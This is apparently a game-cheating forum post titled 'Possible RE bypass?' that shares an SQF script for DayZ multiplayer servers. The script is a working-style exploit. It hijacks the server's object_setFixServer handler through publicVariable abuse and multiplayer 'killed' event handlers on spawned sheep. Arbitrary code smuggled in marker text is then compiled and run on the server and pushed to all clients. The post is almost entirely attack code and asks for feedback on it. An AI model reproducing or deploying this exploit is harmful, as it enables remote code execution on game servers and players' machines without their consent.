Possible RE bypass?
Don't have any access to dayZ atm(On phone), Check this out; Feedback appreciated.
Code:
if (isNil "initre337") then
{
createTeam ["bleh", "object_setFixServer =
{
if (isServer && ((_this select 2) == 0)) then
{
_code = markerText 'respawn_west';
call compile _code;
remExField = [nil,nil,(';'+_code+';')];
publicVariable 'remExField';
} else {_this call compile preprocessFileLineNumbers '\z\addons\dayz_code\compile\object_setfixserver.sqf';};
}; if (isServer) then {initre337 = true; publicVariable 'initre337';};"];
_g_Unit = createGroup east;
_sheep1 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep1 addMPEventHandler ["mpkilled", "{bleh = teamName _x} count teams;"];
_sheep1 setDamage 1.01;
waitUntil {!isNil "bleh"};
sleep 1;
dayzLogin = [{onEachFrame bleh}];
publicVariableServer "dayzLogin";
_sheep2 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep2 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin; bleh2 = true;"];
_sheep2 setDamage 1.01;
hint "MP Unit 2 Killed!";
waitUntil {!isNil "bleh2"};
sleep 1;
dayzLogin2 = [{onEachFrame ""}];
publicVariableServer "dayzLogin2";
_sheep3 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep3 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin2; bleh3 = true;"];
_sheep3 setDamage 1.01;
waitUntil {!isNil "bleh3"};
hint "Ready";
sleep 1;
};
"respawn_west" setMarkerText ";"+(_this select 0)+";";
dayzSetFix = [0,0,0,player,0];
publicVariableServer "dayzSetFix";
_temp = player;
player = "jizz";
sleep 1;
player = _temp;
